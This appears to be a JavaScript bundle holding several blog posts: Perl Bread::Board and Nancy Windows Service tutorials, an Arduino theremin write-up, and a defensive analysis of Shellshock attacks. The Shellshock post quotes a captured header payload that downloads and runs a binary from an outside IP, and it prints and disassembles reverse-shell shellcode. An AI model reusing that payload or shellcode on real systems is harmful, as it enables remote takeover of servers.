],\n );\n};\n```\n\n## Building stuff\n\nSo far, we're only established the relationship of dependencies. Now\nwe have to tell Bread::Board how to build the end-product of all those\nservices.\n\nThe easiest case is when a service consists of a single value:\n\n```perl\ncontainer database => as {\n ...;\n\n service username => 'foo';\n\n ...;\n};\n```\n\nWhen we request an instance of the service `/database/username`, we'll\nget the value `foo`.\n\nOf course, there is more to life than simple scalar values. In the\ngeneral case, we pass a code block to the service, whose job is to use\nthe resolved dependencies and construct the final thing we want. For\nthe database handle, it would be:\n\n```perl\ncontainer database => as {\n service handle => (\n dependencies => [ qw/ dsn username password / ],\n block => sub {\n my $service = shift;\n\n DBI->connect(\n $service->param('dsn'),\n $service->param('username'),\n $service->param('password'),\n );\n },\n );\n\n service dsn => 'dbi:SQLite:foo';\n service username => 'foo';\n service password => 'bar';\n};\n```\n\nAnd, like that, between the \xfcber-generic `block` and the literal\nvalues, we have the tools to populate the whole tree:\n\n```perl\nm
1y $root_container = container MyApp => as {\n service webapp => (\n dependencies => { dbh => '/database/handle', logger => '/logger' },\n block => sub {\n my $service = shift;\n return My::WebApp->new(\n dbh => $service->param('dbh'),\n logger => $service->param('logger'),\n );\n }\n );\n\n service reporting => (\n dependencies => {\n dbh => '/database/handle',\n logger => '/logger',\n pdf_generator => '/pdf_generator',\n },\n block => sub {\n my $service = shift;\n return My::Reporting->new(\n dbh => $service->param('dbh'),\n logger => $service->param('logger'),\n pdf_generator => $service->param('pdf_generator'),\n );\n }\n );\n\n container database => as {\n service handle => (\n dependencies => [ qw/ dsn username password / ],\n block => sub {\n my $service = shift;\n\n DBI->connect(\n $service->param('dsn'),\n $service->param('username'),\n $service->param('password'),\n );\n },\n );\n\n service dsn => 'dbi:SQLite:foo';\n service username => 'foo';\n service password => 'bar';\n };\n\n service logger => (\n block => sub {\n return My::Logger->new;\n }\n );\n\n service pdf_generator => (\n dependencies => [ 'logger' ],\n block => sub {\n my $service = shift;\n return My::PDF::Generator->new( logger => $service->param('logger'));\n }\n );\n};\n```\n\n### Classy services\n\nAs we define our services, a simple pattern emerges. For many of them,\nall we do in the `block` sub is to create an object of a given class\nusing all the specified dependencies as parameters. This is such a\ncommon pattern that Bread::Board will recognize it if we use a `class`\nattribute for the service:\n\n```perl\nmy $root_container = container MyApp => as {\n service webapp => (\n dependencies => { dbh => '/database/handle', logger => '/logger' },\n class => 'My::WebApp',\n );\n\n service reporting => (\n dependencies => {\n dbh => '/database/handle',\n logger => '/logger',\n pdf_generator => '/pdf_generator',\n },\n class => 'My::Reporting',\n );\n\n container database => as {\n service handle => (\n dependencies => [ qw/ dsn username password / ],\n block => sub {\n my $service = shift;\n\n DBI->connect(\n $service->param('dsn'),\n $service->param('username'),\n $service->param('password'),\n );\n },\n );\n\n service dsn => 'dbi:SQLite:foo';\n service username => 'foo';\n service password => 'bar';\n };\n\n service logger => (\n class => 'My::Logger',\n );\n\n service pdf_generator => (\n dependencies => [ 'logger' ],\n class => 'My::PDF::Generator',\n );\n};\n```\n\n## The long-awaited payout\n\nAll our dominoes are now in place. If we want the Bread::Board to\ngenerate the value for a service, we call its `resolve()` method with\nthe wanted service path:\n\n```perl\nmy $report_app = $root_container->resolve(\n service => '/reporting'\n);\n```\n\nUnder the hood, there is nothing magic, just a lot of the tedium\nautomated away as Bread::Board follows all the dependencies to create\nall the required objects. For example, the call to `resolve()` above\nis equivalent to:\n\n```perl\nmy $report_app = My::Reporting->new(\n dbh => DBI->connect(\n 'dbi:SQLite:db_name', 'foo', 'bar'\n ),\n logger => My::Logger->new,\n pdf_generator => My::PDF::Generator->new(\n logger => My::Logger->new\n ),\n);\n```\n\n## What next?\n\nAlready, we have enough material covered to use the basic features of\nBread::Board. But so much more awaitsâ¦\n\nNext time, we'll turn up the heat a few degrees and explore the finer\npoints of service configuration.\n",icon:U.A,color:"purple"};var e_=t(5310);let eM={slug:"super-duper-happy-nancy-based-api-as-a-windows-service",title:"Super Duper Happy Nancy-based API... as a Windows Service",excerpt:"Building a self-hosted Nancy web API running as a Windows Service.",authors:["David Knaack"],publishDate:new Date("2014-11-03"),category:"Development",tags:["Technology","C Sharp","DotNET","Web Services"],readTime:"7 min read",content:'[Nancy](http://nancyfx.org/) is a lightweight framework for building\nHTTP-based services on .NET and Mono. The goal of the framework is to\nstay out of the way as much as possible and provide a\n["super-duper-happy-path"](https://github.com/NancyFx/Nancy/wiki/Introduction)\nto all interactions. This approach to
1sensible defaults and\nconventions means that it is very easy to write a stand-alone\nself-hosted web site or API that runs as a desktop application. In\nthis post, I\'m going to discuss the equivalent happy-path for\ndeploying such an application as a Windows Service.\n\n\x3c!-- cut --\x3e\n\nThe\n[MSDN Windows Service walkthrough](http://msdn.microsoft.com/en-us/library/zt39148a%28v=vs.110%29.aspx)\ndetails the direct approach to writing a Windows Service application.\nUsing the Windows Service project template is a good option if you\nneed support for features like delayed start, pausing, requesting more\nshutdown time, or startup dependencies.\n\nHowever, every time I\'ve written a Windows Service all I needed was a\nway to register a service so that the Service Control Manager can\nstart and stop it automatically with Windows. The full-featured (and\nsomewhat clunky) Windows Service project template doesn\'t offer a\nsimple, lightweight option for hosting services. To address this\nshortcoming, I wrote a Windows Service package:\n[`AC0KG.WindowsService`](https://www.nuget.org/packages/AC0KG-WindowsService/).\n\nTo demonstrate the use of `AC0KG.WindowsService` I\'ll present a very\nsimple self-hosted Nancy-based Web API that uses\n`AC0KG.WindowsService` to register and run the application as a\nWindows Service.\n\nStart off in Visual Studio 2013 with a new project using the "Nancy\nEmpty Application with self-hosting" Nancy template (the Nancy\ntemplates can be installed from the\n[MSDN](http://visualstudiogallery.msdn.microsoft.com/f1e29f61-4dff-4b1e-a14b-6bd0d307611a)).\nThis will give you a console application with a `NancyHost` and no\nroutes.\n\n```csharp\nnamespace NancyApplication1\n{\n using System;\n using Nancy.Hosting.Self;\n\n class Program\n {\n static void Main(string[] args)\n {\n var uri = new Uri("http://localhost:3579");\n\n Console.WriteLine("Your application is running on " + uri);\n Console.WriteLine("Press any [Enter] to close the host.");\n\n using (var host = new NancyHost(uri))\n {\n host.Start();\n Console.ReadLine();\n }\n }\n }\n}\n```\n\nNancy uses modules to define the behavior of the application. A module\nis created by inheriting from the `NancyModule` class. In the module\nconstructor you can define routes and actions. When the application\nstarts Nancy will scan the application domain for modules, so no\nfurther configuration is required to enable the module.\n\nCreate a new public class, `DemoApi.cs`, inheriting from\n`NancyModule`. In the constructor define a route for root, `"/"`, and\nassign an action that returns a sample JSON object. This route will be\nour demo API.\n\n```csharp\nnamespace NancyApplication1\n{\n using Nancy;\n\n public class DemoApi : NancyModule\n {\n public DemoApi()\n {\n Get["/"] = _ => Response.AsJson(new { Property = "value"});\n }\n }\n}\n```\n\nExtending the API with more useful endpoints or adding views is easy.\nCheck out the\n["Defining routes"](https://github.com/NancyFx/Nancy/wiki/Defining-routes)\ndocs for detailed documentation of the route definition syntax.\n\nThe application can now be run as a console application, and will\nrespond to requests to the `"/"` endpoint with a JSON object. Running\nas a console application, while very useful during development, isn\'t\npractical for Windows production environments. To run as a Windows\nService, the application will need a class inheriting from\n`ServiceBase`. There is a project template for service applications,\nbut since we started with the Nancy template, we would need to bring\nin the support for the service class separately. Also, that template\ndoes not support self-registration, so users will need to use a\nseparate utility to register and unregister the application. It\'s not\ndifficult, but neither is it the super-duper-happy-path.\n\nInstead, from the package manager console, install `AC0KG-WindowsService`:\n\n```shell\nPM> Install-Package AC0KG-WindowsService\n```\n\nIn `Program.cs` just above the `Program` class definition, add a new\nempty class `Service` inheriting from\n`AC0KG.WindowsService.ServiceShell`. To set the short name of the\nservice annotate `Service` with the `ServiceName` attribute. Visual\nStudio recognizes `ServiceShell` as a visual class, but we don\'t want\nany designer support here, so also annotate `Service` with the\n`System.ComponentModel.DesignerCategory` with a blank argument to tell\nVS not to use the designer. You will need to add `using` lines for\n`AC0KG.WindowsService` and `System.ComponentModel`:\n\n```csharp\n[DesignerCategory("")]\n[ServiceName("DemoApiService")]\nclass Service : ServiceShell { }\n```\n\n`ServiceShell` is a descendant of `ServiceBase` which accepts\nuser-prov
1ided Start and Stop Actions. It takes the name provided in\nthe `ServiceName` annotation and checks the command line for\ninstall/uninstall parameters.\n\n`Main()` must be modified to use the `Service` class instead of\nrunning the `NancyHost` directly. The `Service` class provides a\nstatic method, `StartService()`, with two Action parameters for\nstartup and shutdown. A third parameter is used to indicate whether\nthe application should run as a console app or as a Service app:\n\n```csharp\nstatic void Main(string[] args)\n{\n var uri = new Uri("http://localhost:3579");\n\n Console.WriteLine("Your application is running on " + uri);\n Console.WriteLine("Press any [Enter] to close the host.");\n\n using (var host = new NancyHost(uri))\n {\n Service.StartService<Service>(\n host.Start,\n null,\n Environment.UserInteractive);\n }\n}\n```\n\nIn most cases the `Environment.UserInteractive` property is a good\nindicator of whether the application should be run as a console\napplication.\n\nSince the `NancyHost` `Start()` function happens to match the `Action`\nparameter signature that `StartService` uses, we can pass it directly,\nas shown. If the `Start` function requires arguments, it can be\nwrapped in a lambda.\n\nThis simple service doesn\'t need to do anything on shutdown, so I\'m\npassing null for the second argument. If you are using a service host\nwith a shutdown function it would be passed there.\n\nThe application will need a service installer to handle registering\nthe service with the Windows Service Control Manager. The\n`InstallerShell` class is a service installer, and also allows us to\nset the service display name and description with an annotation.\n\nAdd an `Installer` class inheriting from `InstallerShell`. Annotate it\nwith `RunInstaller` and `ServiceName`:\n\n```csharp\n[RunInstaller(true)]\n[ServiceName("DemoApiService",\n DisplayName = "Demo API Service",\n Description = "Demonstration NancyFX API Windows Service")]\npublic class Installer : InstallerShell { }\n```\n\nWhen the `ServiceShell` finds install or uninstall command line\nparameters, it will run the service installer which will look for\nclasses annotated with the `RunInstaller` attribute. When the\n`Installer` class is registered, it will appear in the list of\nservices with the display name and description provided in the\n`ServiceName` attribute.\n\nTo enable command line processing a call to\n`Service.ProcessInstallOptions()` should be made early in the\napplication startup. If `\'-install\'` or `\'-uninstall\'` are found in\nthe application arguments the service will be installed or\nuninstalled:\n\n```csharp\nstatic void Main(string[] args)\n{\n if (Service.ProcessInstallOptions(args))\n return;\n[...]\n```\n\nNow when the application is run interactively, such as from Visual\nStudio or the desktop it will run in a console window and wait for a\nkey press to exit. When started by the Windows Service Control Manager\nit will start as a service task and run until the SCM sends a stop\ncommand.\n',icon:e_.A,color:"green"};var eO=t(803);let eR={slug:"shellshock-in-the-wild",title:"Shellshock in the Wild",excerpt:"The recent disclosure of a critical security flaw in the widely used bash command-line shell for Unix operating systems sent many technology professionals scrambling to update their systems. We were certainly among them.",authors:["Mike Eldridge"],publishDate:new Date("2014-10-02"),category:"Development",tags:["Technology","Security"],readTime:"16 min read",content:"## The Vulnerability\n\nThe shellshock vulnerability can be traced back to bash's\nimplementation of shell functions, which are stored in variables named\nfor the function. Bash differentiates functions from ordinary\nenvironment variables by looking for an anonymous function construct\n`() { }` in the contents of the variable. When a subshell is spawned,\nthe functions are exported into the subshell by evaluating the\ncontents of the variable. Unfortunately, instead of stopping at the\nclosing brace, bash evaluates the /entire/ contents of the variable.\n\nIntroduced in 1979 with Bell Laboratories V7 Unix, environment\nvariables are an intrinsic component of all Unix processes. They exist\nin nearly every modern Unix derivative such as Linux and Mac OS X as\nwell as Microsoft Windows. Many applications take advantage of them\nand, in some cases, they can be influenced by user-supplied data.\n\nOwing to its implementation of the Common Gateway Interface (CGI)\nspecification, the Apache HTTP server is one such application. To\nunderstand why, we consider the following excerpts from\n[RFC 3875](http://www.ietf.org/rfc/rfc3875), which defines the current\nCGI 1.1 specification.\n\nFrom \xa73.4 --\n\n> The script is invoked in a system-defined manner. Unless specified\n> otherwise, the file containing the script will be invoked as an\n> executable program. The server prepares the CGI request as described\n> in section 4; this comprises the request meta-variables (immediately\n> available to the script on execution) and request message data.\n\nFrom \xa74.1 --\n\n> Meta-variables contain data about the request passed from the server\n> to the script, and are accessed by the script in a system-defined\n> manner.\n\nFrom \xa74.1.18 --\n\n> Meta-variables with names beginning with \"HTTP\\_\" contain values\n> read from the client request header fields, if the protocol used is\n> HTTP. The HTTP header field name is converted to upper case, has all\n> occurrences of \"-\" replaced with \"\\_\" and has \"HTTP\\_\" prepended to\n> give the meta-variable name.\n\nThe Apache HTTP server uses environment variables to make these\nmeta-variables available to CGI scripts, which are executed in a\nsub-shell spawned by the server. This is where that \"unfortunately,\ninstead of stopping at the closing brace\" bit I mentioned earlier\nrises up and bites us.\n\n## The Attack\n\nAfter rapidly updating all the systems we're responsible for to guard\nagainst the vulnerability, we became curious about how much this\n(potentially _huge_) bug was being exploited. We ramped up the logging\non our [nginx](http://nginx.org/) HTTP proxy server. The nginx HTTP\nserver does not implement the CGI specification, so it is immune to\nthis specific attack vector. However, it can still pass along attacks\nto backend applications.\n\nOnly a few hours after the disclosure, we began seeing attacks coming\nin from the greater Internet.\n\nHere's the C
1ookie header provided in one of these attacks. (Line\nbreaks have been introduced for readibility; in the wild this is all\none long line.)\n\n```shell\nCookie: () { :; }; /bin/bash -c \\x22rm /tmp/.osock;\nif [ $(/bin/uname -m | /bin/grep 64) ];\nthen /usr/bin/wget 82.118.242.223:9199/v64 -O /tmp/.osock;\n/usr/bin/lwp-download http://82.118.242.223:9199/v64 /tmp/.osock;\n/usr/bin/curl http://82.118.242.223:9199/v64 -o /tmp/.osock;\nelse /usr/bin/wget 82.118.242.223:9199/v -O /tmp/.osock;\n/usr/bin/lwp-download http://82.118.242.223:9199/v /tmp/.osock;\n/usr/bin/curl http://82.118.242.223:9199/v -o /tmp/.osock; fi;\n/bin/chmod 777 /tmp/.osock; /tmp/.osock\\x22\n```\n\nThe payload is arbitrary shell scripting. This particular scripting\nexamines the server's architecture and downloads one of two\nexecutables using three commonly available command-line HTTP clients.\nThe script then sets all read, write, and execute file mode flags and\nattempts to execute the binary.\n\nIt's worth mentioning that this specific attack relies on the ability\nto make outbound HTTP requests. If outbound HTTP traffic is disallowed\nby firewall rules, this specific attack would not succeed. This is a\ngood illustration of why security best practices dictate denying all\noutbound traffic by default. The presence of such a firewall policy\ndoes not, however, ensure that your systems are safe from shellshock.\n\n## The Executable\n\nWhat's in that binary that is being downloaded, anyway? Well, let's\ntake a look, shall we!\n\n```shell\ndiz@trappin:~$ curl -so v http://82.118.242.223:9199/v\ndiz@trappin:~$ file v\nv: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size\ndiz@trappin:~$ hexdump -C v\n00000000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|\n00000010 02 00 03 00 01 00 00 00 54 80 04 08 34 00 00 00 |........T...4...|\n00000020 00 00 00 00 00 00 00 00 34 00 20 00 01 00 00 00 |........4. .....|\n00000030 00 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 |................|\n00000040 00 80 04 08 9a 00 00 00 e0 00 00 00 07 00 00 00 |................|\n00000050 00 10 00 00 31 db 53 43 53 6a 02 6a 66 58 89 e1 |....1.SCSj.jfX..|\n00000060 cd 80 93 59 b0 3f cd 80 49 79 f9 5b 5a 68 52 76 |...Y.?..Iy.[ZhRv|\n00000070 f2 df 66 68 86 9f 43 66 53 89 e1 b0 66 50 51 53 |..fh..CfS...fPQS|\n00000080 89 e1 43 cd 80 52 68 2f 2f 73 68 68 2f 62 69 6e |..C..Rh//shh/bin|\n00000090 89 e3 52 53 89 e1 b0 0b cd 80 |..RS......|\n0000009a\n```\n\nThe file downloaded is a tiny ELF binary that has a corrupted section\nheader size. Next, we consult the objdump and readelf tools to see\nwhat else we can find out about the binary.\n\n```shell\ndiz@trappin:~$ objdump -x v\n\nv: file format elf32-i386\nv\narchitecture: i386, flags 0x00000102:\nEXEC_P, D_PAGED\nstart address 0x08048054\n\nProgram Header:\n LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12\n filesz 0x0000009a memsz 0x000000e0 flags rwx\n\nSections:\nIdx Name Size VMA LMA File off Algn\nSYMBOL TABLE:\nno symbols\n\ndiz@trappin:~$ readelf -h v\nELF Header:\n Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00\n Class: ELF32\n Data: 2's complement, little endian\n Version: 1 (current)\n OS/ABI: UNIX - System V\n ABI Version: 0\n Type: EXEC (Executable file)\n Machine: Intel 80386\n Version: 0x1\n Entry point address: 0x8048054\n Start of program headers: 52 (bytes into file)\n Start of section headers: 0 (bytes into file)\n Flags: 0x0\n Size of this header: 52 (bytes)\n Size of program headers: 32 (bytes)\n Number of program headers: 1\n Size of section headers: 0 (bytes)\n Number of section headers: 0\n Section header string table index: 0\n```\n\nThere is a single program header, but it seems there are no section\nheaders. That might explain why file is reporting a corrupted section\nheader size. Let's focus on the program header first.\n\n```shell\n LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12\n filesz 0x0000009a memsz 0x000000e0 flags rwx\n```\n\nELF program headers define load
1able memory segments or dynamic linking\ninformation. In this case, there is only one program header and it\nmaps the entire 154 (0x9a) bytes of the file into a memory segment of\n224 (0xe0) bytes beginning at virtual address 0x08048000. This segment\nis marked readable, writable, and executable.\n\nThe entry point address is defined as 0x8048054, which corresponds to\nan offset of 84 bytes into the file. 0x8048054 - 0x08048000 = 0x54\n= 84. If we add up the sizes of the ELF header and the program header\nthat readelf reported, we get 52+32=84.\n\nExecution begins at 84 bytes into the file. Let's disassemble the\nbinary beginning there and see what the program does.\n\n```shell\ndiz@trappin:~$ ndisasm -b 32 -e 84 -p intel v\n00000000 31DB xor ebx,ebx\n00000002 53 push ebx\n00000003 43 inc ebx\n00000004 53 push ebx\n```\n\nFirst we set the contents of the ebx register to 0 by XORing it with\nitself. Then we push the contents of the ebx register (0) onto the\nstack, increment the ebx register, and push the contents of the ebx\nregister (1) onto the stack again.\n\n```shell\n00000005 6A02 push byte +0x2\n00000007 6A66 push byte +0x66\n00000009 58 pop eax\n0000000A 89E1 mov ecx,esp\n0000000C CD80 int 0x80\n```\n\nHere, we see the setup for a\n[system call](http://en.wikipedia.org/wiki/System_call). The interrupt\nhandler for interrupt vector 0x80 is the Linux kernel. The contents of\nthe eax register is the system call number, and the other registers\ncontain the system call arguments. For a list of system call numbers,\nsee\n[syscall_32.tbl](https://github.com/torvalds/linux/blob/master/arch/x86/syscalls/syscall_32.tbl).\nHere, 0x66 is pushed onto the stack and then popped off and into the\neax register. This system call number is 102, which is sys_socketcall.\nThe socketcall system call has the following prototype:\n\n```clike\nint socketcall(int call, unsigned long *args);\n```\n\nThis system call takes two arguments: a socket call number, and a list\nof arguments. The ebx register is still set to 1, which happens to be\n[sys_socket](https://github.com/torvalds/linux/blob/master/include/uapi/linux/net.h#L26).\nThe ecx register is set to the address of the stack pointer. The stack\nhas a 2 pushed onto it just prior. The sys_socket function has the\nfollowing prototype:\n\n```clike\nlong sys_socket(int, int, int);\n```\n\nThe sys_socket function is the kernel's implementation of the socket()\nC library call, which has the following prototype:\n\n```clike\nint socket(int domain, int type, int protocol);\n```\n\nAs it turns out, the stack's current contents are three 32-bit values\nthat are, from top to bottom:\n\n```shell\n0x00000002 (PF_INET=2)\n0x00000001 (SOCK_STREAM=1)\n0x00000000 (IPPROTO_IP=0)\n```\n\nSo, this was a call to the kernel's socket interface to create a new\nstreaming IP socket, of which there is only one type: TCP.\n\n```shell\n0000000E 93 xchg eax,ebx\n0000000F 59 pop ecx\n00000010 B03F mov al,0x3f\n00000012 CD80 int 0x80\n```\n\nHere we have the setup for another system call, this time for sys_dup2\n(0x3f == 63).\n\nUpon returning from the previous system call, the eax register\ncontains the new socket's descriptor. The first opcode immediately\nexchanges the contents of the eax and ebx registers while the last\nvalue on the stack (2) is popped off and placed into the ecx register.\nThe contents of the eax, ebx, and ecx registers are 1, 3, and 2 at the\ntime the interrupt is raised.\n\nThe sys_dup2 system call is the kernel's implementation of the dup2()\nC library function. The prototypes are identical:\n\n```clike\nlong sys_dup2(unsigned int oldfd, unsigned int newfd);\nint dup2(int oldfd, int newfd);\n```\n\nA copy of the socket is opened on file descriptor 2, which all Unix\nprogrammers will recognize as the file descriptor for STDERR.\n\n```shell\n00000014 49 dec ecx\n00000015 79F9 jns 0x10\n```\n\nThe next few instructions comprise a loop. The contents of the ecx\nregister are decremented. If the CPU's sign flag isn't set (which\nwould occur if the decrement operation caused ecx to become negative),\ncontrol jumps back to 00000010, which begins the setup for the\nsys_dup2 system call. Effectively, we replace stderr (2), stdout (1),\nand stdin (0) with the socket.\n\n```shell\n00000017 5B pop ebx\n00000018 5A pop edx\n00000019 685276F2DF push dword 0xdff27652\n0000001E 6668869F push word 0x9f86\n00000022 43 inc ebx\n00000023 6653 push bx\n```\n\nHere, we are setting up the sockaddr_in structure for a connection. I\nhad a hunch this is what was happening simply due to the proximity of\nthe dword (32-bit) and word (16-bit) values. IP addresses are 32 bits\nand port numbers are 16 bits. Seeing the two of them close together in\nsomething that's suspected to be a trojan gave it away.\n\nThe sockaddr_in structure looks like this:\n\n```clike\nstruct sockaddr_in {\n sa_family_t sin_family; /* address family: AF_INET */\n in_port_t sin_port; /* port in network byte order */\n struct in_addr sin_addr; /* internet address */\n};\n```\n\nThe last two values on the stack (1 and 0 from the earlier system\nsocket call to sys_socket) are popped off of the stack and stored in\nebx and edx, respectively. The 0 value placed into the edx register\nwon't be used until after the next system call.\n\n0xdff27652 is the IPv4 address 82.118.242.223, which just so happens\nto be the same address of the server that the binary w
1as downloaded\nfrom. It is pushed onto the stack first.\n\n0x9f86 is 34463, a port that 82.118.242.223 was listening on. It's\npushed onto the stack next as a single 16-bit word.\n\nThe bx register is a 16-bit register containing the ebx value that is\nincremented from 1 to 2, again indicating the PF_INET socket family.\nIt's pushed onto the stack last.\n\n```shell\n00000025 89E1 mov ecx,esp\n00000027 B066 mov al,0x66\n00000029 50 push eax\n0000002A 51 push ecx\n0000002B 53 push ebx\n0000002C 89E1 mov ecx,esp\n0000002E 43 inc ebx\n0000002F CD80 int 0x80\n```\n\nHere we have another system call to sys_socketcall (0x66). The ebx\nregister is incremented again (from 2 to 3), so this will be a call to\nsys_connect. The prototype for sys_connect looks like this:\n\n```clike\nlong sys_connect(int, struct sockaddr __user *, int);\n```\n\nThe stack pointer is copied into the ecx register. This will be the\naddress of the sockaddr structure. Then the contents of the eax, ecx,\nand ebx registers are all pushed onto the stack and the stack pointer\nis copied into ecx. These values correspond to the sys_connect call.\n\n```clike\nint socketcall(int call, unsigned long *args);\n```\n\nThe al register is set early on and the reason for that is to provide\na a sufficiently high value for the socket address length parameter to\nthe connect() call. The sockaddr_in structure is only 16 bytes, but\n0x66 is 102. This works in my tests, but connect() begins failing for\nany socket address length parameter above 128.\n\n```shell\n00000031 52 push edx\n00000032 682F2F7368 push dword 0x68732f2f\n00000037 682F62696E push dword 0x6e69622f\n```\n\nThis pushes the null-terminated ASCII character string \"/bin//sh\" onto\nthe stack. The edx register is 0x00000000 from the aforementioned pop.\nIt is used here not only to terminate the \"/bin//sh\" reference, but\nalso to terminate an argument list in the following execve() call.\n\n```shell\n0000003C 89E3 mov ebx,esp\n0000003E 52 push edx\n0000003F 53 push ebx\n00000040 89E1 mov ecx,esp\n00000042 B00B mov al,0xb\n00000044 CD80 int 0x80\n```\n\nHere we have a system call for sys_execve (0x0b == 11). The interface\nlooks just like its execve() C counterpart:\n\n```clike\nsys_execve(const char __user *filename,\n const char __user *const __user *argv,\n const char __user *const __user *envp);\n```\n\nThe two arguments (ebx and ecx) will both be set to the stack pointer,\nwhich makes both filename and argv equal to \"/bin//sh\". The stack\ncontains a null pointer (0x00000000), which terminates the argument\nlist. The environment will be empty, as edx will be 0x00000000.\n\nWhat this tiny and cleverly-architected bit of code does is spawn a\nshell and transfer control of it to a remote host. This type of code\nis called [shellcode](http://en.wikipedia.org/wiki/Shellcode).\n\n## Conclusion\n\nWe cannot stress enough how critical this bug is. The ubiquitous\nnature of environment variables and the wide adoption of the 25-year\nold bash shell have combined to create an attack surface the size of\nwhich we are only just begining to fathom. The Apache HTTP server is\nonly one of many potential attack vectors. Millions of systems will\nnever receive a security fix for this bug.\n\nIf you have vulnerable bash versions still deployed, your systems may\nalready be compromised.\n",icon:eO.A,color:"red"};var eB=t(6160);let eE={slug:"theremin-fountain-with-c-and-the-arduino-uno",title:"Theremin Fountain with C Sharp and the Arduino Uno",excerpt:"Building an Arduino-powered fountain that uses a water pump and a servo motor to create a flowing water effect.",authors:["Alex Sparkman"],publishDate:new Date("2014-08-07"),category:"Development",tags:["Technology","C Sharp","Passions","DotNET","Internet of Things","Arduino"],readTime:"10 min read",content:'<div class="float:right">
1\n<img src="/content/images/blogs/arduino-fountain/arduino-thumb.jpg"\n alt="Piezo"\n title="Piezo"\n width="250" />\n</div>\n\nI want to create a fountain that can entertain guests. Namely, I want\nto be able to control the flow of the fountain with my hand. Recently,\nat our last summit, [Jay Hannah](https://twitter.com/deafferret)\nintroduced me to the [Leap Motion](https://www.leapmotion.com/), which\nis basically a Kinect for the hands. A little research introduced me\nto [Arduino](http://www.arduino.cc/), an open source solution for\nprogramming microcontrollers.\n\nThe fountain will be built using base electrical components. The\nactual physical basins for the water may be taken from an existing\nfountain, but I plan on making that decision later. This post details\nmy initial goals for the project, as well as the first steps I took\ntowards a side-project, and the coding hurdles I had to overcome to\ncomplete the side-project.\n\n\x3c!-- cut --\x3e\n\n## My Initial Project Goals\n\nI need a protocol for reliable in-order communication. Transmitting\ndata over wires involves sending a signal over a wire. Of course,\nsignals may be changed by electro-magnetic radiation. Consequently,\ncommunication over wires is not error proof. This means that I need an\nalgorithm that can detect mistakes.\n\nI need housing for the electrical components that insulates from\nhumidity and moisture. A failure with a project like this could\npotentially result in moldy carpet. This is mainly a safety\nprecaution, but it offers an opportunity to take my electronic\nprojects outdoors.\n\nSince the project is going to be outside, I need to be able to\ncommunicate to the device wirelessly. In addition, the Leap Motion is\nbound to a device that has a little more computing power than a\nmicrocontroller. The device I plan to use is either my desktop, or my\nlaptop.\n\nI need multiple circuits to be able to work together with incompatible\nvoltages. The microcontroller has a max operating voltage of five\nvolts. Most commercially available direct current pumps have a minimal\noperating voltage of about 12 volts. Connecting the microcontroller\ncircuit with the water pump circuit will fry the microcontroller.\n\nI want the wiring to be out of the way, but disconnectable. I want the\nfountain to be aesthetically pleasing. In my experience, if a wire is\nout of the way, it usually means it is less accessible. The right\nbalance will likely require some experience.\n\n## My First Steps\n\nI decided the best way to complete this project is to complete some\nmini-projects. The large project has a large price tag. I am new to\ncircuits. Circuits cost money, and can easily be damaged if not\nhandled correctly.\n\nThis post describes my first project --- a theremin. A theremin is a\nmusical instrument whose pitch is controlled by the position of the\nplayer\'s hand in the air. My theremin consisted of a Leap Motion, a\nlaptop, Arduino, and a piezo. The Leap Motion detected the hand, the\ncomputer interpreted the hand\'s position, translated it into bytes,\nand sent it over the port. The Arduino received the bytes from the\ncomputer, and controlled the piezo through pulse width modulation.\n\nThis mini-project shares the goal of creating a reliable in-order\ncommunication protocol. I hope this can serve as a guide to other\ndevelopers looking to implement a reliable in-order communication\nprotocol for their Arduino project. Alternatively, you can use my\nsolution in your own project!\n\n## The Code\n\nThe code for the project is available\n[on my GitHub account](https://github.com/asparkman/APS.Fountain).\nIt is split into three parts. The computer code written in C# is\navailable in the folders beginning with APS. The documentation is\navailable in the folder named Docs. Finally, the Arduino code written\nin C++ is available in the fountain folder. The wiring is as shown.\n\n<div class="center">\n <img src="/content/images/blogs/arduino-fountain/arduino.jpg" alt="Arduino Theremin" />\n</div>\n\nI have met all the goals for the communication protocol laid out\nabove. The messages that are sent ignore all the associated timing\ndata, and just play the most recently sent note for 100 milliseconds.\nAdapting the Arduino code to use the timing data will require the use\nof interrupts that use the on-chip timers. Those interrupts are\nabstracted away from the open source Arduino code. Thus in order to\nuse timer-based interrupts I
1need to spend time finding the applicable\nsections in the 660 page\n[datasheet](http://www.atmel.com/Images/Atmel-8271-8-bit-AVR-Microcontroller-ATmega48A-48PA-88A-88PA-168A-168PA-328-328P_datasheet_Summary.pdf).\n\n## The Pitfalls\n\n### Missing Bytes\n\nThe first problem I ran into was that the Read methods of the .NET\n[SerialPort](http://msdn.microsoft.com/en-us/library/system.io.ports.serialport.aspx)\nclass would skip bytes that had errors. It would not throw an\nexception or indicate an error.\n\nI added a stop and start byte, an escaping scheme, and a fixed length\nto all messages. The message layouts can be viewed in the Excel\nspreadsheet\n[in the project\'s GitHub repo](https://raw.githubusercontent.com/asparkman/APS.Fountain/master/Docs/Message_Layouts.xlsx).\nThe ESCAPE byte is always greater than 192, meaning it will never be\ntreated as a start or stop byte. The SIZE_SEQ byte, as well as all the\nINFO_X bytes are escaped by setting the bit of the ESCAPE byte\naccording to its position after the ESCAPE byte.\n\nOnce the message was modified to have a clear start and beginning, I\nadded a 1-bit sliding window protocol to control retransmission of\nerroneous bytes. Basically, the sequence number (0 or 1) is tracked on\nboth sides. When a new message is sent the sequence number is\ninverted. A new message is only sent once the last message has been\nacknowledged by the receiver through an ACK message, until that time\nthe last message is resent every so often. The C# code for this is\nseen in the Run method of the\n[Arduino](https://github.com/asparkman/APS.Fountain/blob/master/APS.Arduino/Arduino.cs)\nclass. The C++ code for this is seen in the implementation of the\nwaitForMessages function in\n[comm.cpp](https://github.com/asparkman/APS.Fountain/blob/master/fountain/comm.cpp).\n\nThe next problem that I ran across was on the Arduino side. The\nArduino would not read a full message, which caused it to not send or\nreceive.\n\nThe\n[readBytesUntil(character, buffer, length)](http://arduino.cc/en/Serial/ReadBytesUntil)\nfunction documentation and output was unclear. The function would read\nbytes into the buffer until the character specified was detected, the\nlength was reached, or the operation timed out. The function returned\nan integer indicating the number of bytes read into the buffer. The\nfunction would detect the character, but would not write it into the\nbuffer. This meant determining the terminating condition was\nimpossible without a call to peek() to determine the next byte on the\nstream.\n\nI 